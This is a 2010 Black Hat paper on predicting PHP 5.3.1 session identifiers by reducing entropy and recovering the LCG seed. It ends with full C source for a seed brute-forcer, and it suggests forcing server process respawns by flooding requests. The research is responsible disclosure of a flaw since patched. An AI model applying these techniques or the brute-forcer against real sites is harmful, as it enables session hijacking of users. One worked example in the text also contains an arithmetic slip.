phpwn: Attacking sessions and pseudo-random numbers in PHP

Samy Kamkar

http://samy.pl

blackhat@samy.pl

Blackhat USA, Las Vegas, NV 2010

Abstract. Many web applications depend on random values and session management in order to store or track data on a user visiting a website. In many cases, sessions are required to keep track of users after they have authenticated using various credentials. Random values are also used in other situations to authenticate a user, such as after a password reset, where a random link may need to be visited in order to then reset the password once received via email.

PHP offers a common function for session management (including cookies) and various functions for producing random numbers. In versions of PHP 5.3.1 and below, we investigate these functions and will see that these functions are not necessarily suited for unpredictable, pseudo-random data, and that if the environment allows, we can even predict session values.

The purpose of this paper is to describe the weakness found, the necessity for strong seeds, and potential solutions.

Keywords: web application security, PRNG, cryptography.

PHP provides several functions for producing pseudo-random numbers and a primary function for starting sessions. The primary function for session management is called session_start(). The responsibility of this function is to create a new session or resume a session based on a session identifier passed, produced from a previous session.

When the session is generated, a pseudo-random string is created and sent to the client browser to store and use in future page hits. This string is used to identify information about the user. For example, if logging into a social networking site with a matching username and password, a session is created and the session string is now tied to that user. If the site sees any future hits with the same session identifier, it

will associate that client with the pre-authenticated user. This session identifier becomes a critical personal identifier in many applications, from social networking to online banking. If a pre-existing, or even future session identifier can be predicted, an attacker may be able to access a site as that user without authenticating. The randomness within this session identifier is critical in protecting the user and preventing session hijacking.

Let's investigate the primary entropy used in generating a session. From php-5.3.1/ext/session/session.c:

```
PHPAPI char *php_session_create_id(PS_CREATE_SID_ARGS)
  …
  gettimeofday(&tv, NULL);
  …
  /* maximum 15+19+19+10 bytes */
  spprintf(&buf, 0, "%.15s%ld%ld%0.8F", remote_addr ?
remote_addr : "", tv.tv_sec, (long int)tv.tv_usec,
php_combined_lcg(TSRMLS_C) * 10);
  …
  return buf;
}
```

As we can see here, "buf" is our session identifier that's returned from this function. It additionally gets hashed by a choice of hash function, including MD5 and SHA1, however this does not affect our investigation.

The entropy used to generate the session value is the following:

- Client IP address (4 bytes [32 bits])
- Current epoch (4 bytes [32 bits])
- Current microseconds (0 – 1,000,000 [< 20 bits])
- A random value from php_combined_lcg (8 bytes [64 bits])
- Total: ~18.5 bytes [148 bits]

Once hashed, if using MD5, this gets reduced to 16 bytes [128 bits] which is a reasonable amount of entropy for such data. Other hashes, such as SHA1, will produce larger values.

Unfortunately, some of this data can be deduced in several cases. Let's take the example of using a social networking site. Some of the most popular social networking sites in fact use PHP, and it would be reasonable for some of these to use the standard PHP session functions.

When a user logs into many social networking sites, other users (read: attackers) can see that the user has logged in that moment. Additionally, an attacker could contact the user on the site via chat, message, comment, etc. and direct them to a link. The link itself would only provide the attacker with that user's IP address.

At this point, the attacker knows the time (according to the attacker's computer) the user logged in (epoch, 4 bytes) and the IP address of the user (4 bytes). The amount of time for requests to be processed is too long to gain any useful information on the microseconds value, and we have not yet investigated the php_combined_lcg() function. Additionally, we'll need to know the PHP server's time relative to ours since we only know the time they logged in according to our local clock. We can get the relative time by sending a simple HTTP request to most web servers:

```
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 12 Jul 2010 04:30:45 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Sat, 15 May 2010 00:50:56 GMT
Retag: "d664e-66-6267dc00"
Accept-Ranges: bytes
Content-Length: 102
Connection: close
Content-Type: text/html; Charest=UTF-8
```

Now we've reduced the 148 bits (pre-hashed) to 84 bits. It is now more efficient to brute-force the pre-hashed value than the post-hashed, 128 bit value. However, 84 bits is still a feat to brute force, especially when having to send requests to a remote server.

Let's now investigate the php_combined_lcg() function which produces 64 bits of pseudo-random data for us. This function is equivalent to PHP's lcg_value() function. The php_combined_lcg() function itself and uses carefully a studied LCG (linear congruential generator) function, which has been around for over 30 years. The LCG itself is not cryptographically sound and should not be used in such fashion. There are various papers on patterns and correlation introduced by an

LCG that make them unsuitable for cryptographic applications. However, their pros are that they are fast and require minimal memory.

Let's peek at php-5.3.1/ext/standard/lcg.c:

```
PHPAPI double php_combined_lcg(TSRMLS_D) /* {{{ */
{
    php_int32 q;
    php_int32 z;

    if (!LCG(seeded)) {
        lcg_seed(TSRMLS_C);
    }

    MODMULT(53668, 40014, 12211, 2147483563L, LCG(s1));
    MODMULT(52774, 40692, 3791, 2147483399L, LCG(s2));

    z = LCG(s1) - LCG(s2);
    if (z < 1) {
        z += 2147483562;
    }

    return z * 4.656613e-10;
}

static void lcg_seed(TSRMLS_D) /* {{{ */
{
    struct timeval tv;

    if (gettimeofday(&tv, NULL) == 0) {
        LCG(s1) = tv.tv_sec ^ (~tv.tv_usec);
    } else {
        LCG(s1) = 1;
    }
    LCG(s2) = (long) getpid();

    LCG(seeded) = 1;
}
```

As you can see, if the LCG is not seeded in php_combined_lcg, lcg_seed() is called. lcg_seed() is what generates the seed from initial pseudo-random data in order to provide enough pseudo-randomness for future iterations of the LCG.

If we inspect lcg_seed(), we can see we're seeding two values, s1 and s2. These are 32-bit values each, bringing us to a 64-bit seed.

Let's look at the first 32 bits, s1. This acquires our epoch (32 bits) and microseconds (32 bits) the first time we're seeded, then xors the epoch with the 1's compliment of the microseconds.

```
Example: Sun Jul 11 21:57:15 PDT 2010
tv.tv_sec = 1278910635 (bin: 01001100001110101010000010101011)
tv.tv_usec = 179864  (bin: 101011110100110000)
~tv.tv_usec = 4294787431 (bin: 11111111111111010100000101100111)

s1 = tv.tv_sec ^ (~tv.tv_usec);
s1 = 1278910635  ^ 1278910635 ;
We can see this as:
 01001100001110101010000010101011 ^
11111111111111010100000101100111

The interesting piece of information here is that
tv.tv_usec will always be between 0 and 1,000,000. If we
take the 1's compliment, we find the following binary
data:
~0    = 11111111111111111111111111111111
~100 =  11111111111100001011110110111111
```

Notice above, the only bits that change within 1's compliment of tv.tv_usec are the lowest 20-bits, we will always know the other 12 bits. What's even more interesting is that because tv.tv_sec is being xor'd by this, the first 20 most **variable** bits of tv.tv_sec get xor'd, and thus randomized, with the unknown ~tv.tv_usec bits.

What this means is that the 12 high bits of tv.tv_sec never become randomized. If we take our tv.tv_sec above, and zero out the low 20 bits, we get the following date:
Sat Jul 3 20:29:04 2010
And by setting those low 20 bits to ones, we get:
Thu Jul 15 23:45:19 2010

This means if we can guess within a ~12 day period of when the PHP process started, we don't need to brute force the high 12 bits and only need to brute force the low 20 bits of s1. Additionally, processes like Apache typically respawn after so many requests and can be forced to respawn, thus producing a new s1, if you send enough requests to a specific instance of Apache. You can do this by creating an HTTP keep-alive connection and hammering it with requests if you believe it has been running for greater than 12 days.

We have now reduced s1 from 32 random bits to 20. Now let's look at s2, which is simply the process ID of the process running Apache. What's great about this is on Linux, process IDs are 15 bits by default, with the first 1025 reserved. This means we can immediately reduce s2 from 32 bits to 17 bits.

In total, this brings our 64 bit seed to 17 + 20 = 37 bits, exponentially easier to attempt to break. Even better, if any type of local access is acquired or the ability to execute PHP, we can determine the actual process ID (for example, using PHP's getmypid() function), reducing s2 to 0 bits of randomness.

In total, this brings our 64 bit seed down to 0 + 20 = 20 bits. If we can execute PHP, we can run lcg_value() to get an lcg_value(), then brute force the 20 bits with the LCG until we return the same value.

One caveat to this approach is that for every time php_combined_lcg() or any function depending on it, has been run, the current value changes. This exponentially slows down our search for every round. For example, if we're on round 20 (assuming php_combined_lcg() has been called at least 20 times), not only must we run our LCG on s2 20 times to get the current value, but we must run our LCG on s1 20 times for **every brute force attempt**. This means for every 1,000,000 possible tv.tv_usec's we're brute forcing, we must run the LCG 20 times, producing 20 * 1,000,000 LCG calls for a total of 20,000,000 LCG calls.

However, using a time-memory-tradeoff and storing every current iteration of s1 in memory, using no more than 4MB (4 byte int * 1,000,000), we can dramatically speed up each round, requiring only the 1,000,000 LCG calls per round no matter what round we're on. With this trade-off, I can run about 33 rounds per second on a MacBook Pro.

In a few seconds with a call of getmypid() and lcg_value(), we can produce the initial seed. At this point, going back to our session data, we can predict the php_combined_lcg() and be left with the 20 bits of tv.tv_usec (microseconds) from our php_session_create_id() function.

We will have a few more bits of entropy due to not knowing which round we're on, however we've reduced our 148-bit session data down to, typically, less than 30 bits and many times very close to 20 bits.

I've reported this flaw to PHP and they've quickly released a patch in PHP 5.3.2, which is currently available, to introduce more entropy into the initial seed. If you require additional entropy or security, simply use PHP's session functions to define your own session identifier when starting a session for a new user.

You can acquire additional source code to brute force session data, use PHP's LCG in forward and reverse, and seed breaking code at http://samy.pl/phpwn

The code following the Acknowledgements code allow you to brute force and learn the initial seed of a PHP process just by having a single value of lcg_value(), and optionally the PID via getmypid().

Acknowledgments. Thanks to Arshan Dabirsiaghi and Amit Klein for original support and direction in investigation of PHP sessions.

s1s2.c (from http://samy.pl/phpwn):

```
/*
 * To compile: gcc -std=c99 -lm s1s2.c -o s1s2
 *
 * This program will produce the internal state (s1 and s2)
 * and initial seed values of PHP 5.3's LCG (PRNG) given an
 * lcg_value and optional PID of the PHP process the
 * lcg_value was provided from.
 *
 * If brute forcing the PID, on Linux PIDs typically are up
 * to 2**15, while OS X PIDs go up to 2**17. We default to 15.
 *
 * It takes about 0.03s per randomized value PHP has already selected.
 * So if PHP has ran lcg_value/uniqid/session_start 1000 times, this
 * will take 30 seconds to run.
 *
 * Once the initial seed values are produced, you can produce
 * every random value that PHP would produce precisely.
 * See my php-rng-fwd.c to get these values in order.
 *
 * -samy kamkar, code@samy.pl, 08/24/09
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <math.h>

/*
 * combinedLCG() returns a pseudo random number in the range of (0, 1).
 * The function combines two CGs with periods of
 * 2^31 - 85 and 2^31 - 249. The period of this function
```

```
 * is equal to the product of both primes.
 */

int q, z;
#define MODMULT(a, b, c, m, s) q = s/a;s=b*(s-a*q)-c*q;if(s<0)s+=m

double combined_lcg(int s1, int s2)
{
        z = s1 - s2;
        if (z < 1)
                z += 2147483562;

        return z * 4.656613e-10;
}

int main(int argc, char** argv)
{
        if (argc != 3)
        {
                fprintf(stderr, "usage: %s <s2 [PID or 0 to brute force]>
<lcg_value>\n", argv[0]);
                return -1;
        }

        // adjust as necessary if you discover the OS in question is NOT on linux
        // for example, OS X uses 2**17 PIDs, linux uses 2**15 (at least the
distro I tested)
        int exp216 = exp2(15);
        int s1array[1000001], s2array[exp216+1]; // it's called a time-memory
tradeoff. don't complain.
        int i, j, k, l;
        int s2, origs2;
    struct timeval tv;

        /* our lcg value we got from lcg_value() */
        double l1 = strtod(argv[2], NULL);

        /* get our time, we'll brute force 20 bits of this */
        gettimeofday(&tv, NULL);

        /* set PID, pre-modmult for speed */
        origs2 = s2 = atoi(argv[1]);

        /* Number of rounds to test
         * if it takes too long, i would send lots of http requests
         * to the server until a new process spawns, thus producing
         * new seeds easier to produce */
        for (k = 1; k < 1000000; k++)
        {
                printf("Testing for %d round of lcg_value()...\n", k);

                /* iterate s2 value once */
                if (origs2)
                        MODMULT(52774, 40692, 3791, 2147483399L, s2);

                /* brute force 20 bits of s1 */
                for (i = 0; i < 1000000; i++)
                {
                        if (origs2 == 0 && i % 10000 == 0)
                                printf("Brute forcing s1 %d...\n", i);

                        if (k == 1)
                                s1array[i] = tv.tv_sec ^ (~i);
                        MODMULT(53668, 40014, 12211, 2147483563L, s1array[i]);

                        /* brute force PID (2 ** 15) if we don't know it*/
                        if (origs2 == 0)
                        {
                                for (j = 1024; j < exp216; j++)
                                {
```

```
                                        /* this piece should only happen on the
first s1 attempt */
                                        if (i == 0)
                                        {
                                                /* set our initial value on
round 1 */
                                                if (k == 1)
                                                        s2array[j] = j;
                                                MODMULT(52774, 40692, 3791,
2147483399L, s2array[j]);
                                        }

                                        if (fabs(combined_lcg(s1array[i],
s2array[j]) - l1) <= 0.00000000000001)
                                        {
                                                printf("Possible: s1=%d s2=%d
(try another lcg_value() with s2 to confirm)\n",
                                                        tv.tv_sec ^ (~i), j);
                                                //return 0;
                                        }
                                }
                        }
                        else
                        {
                                if (fabs(combined_lcg(s1array[i], s2) - l1) <=
0.00000000000001)
                                {
                                        printf("s1=%d s2=%d\n", tv.tv_sec ^
(~i), origs2);
                                        return 0;
                                }
                        }
                }
        }

        return 0;
}
```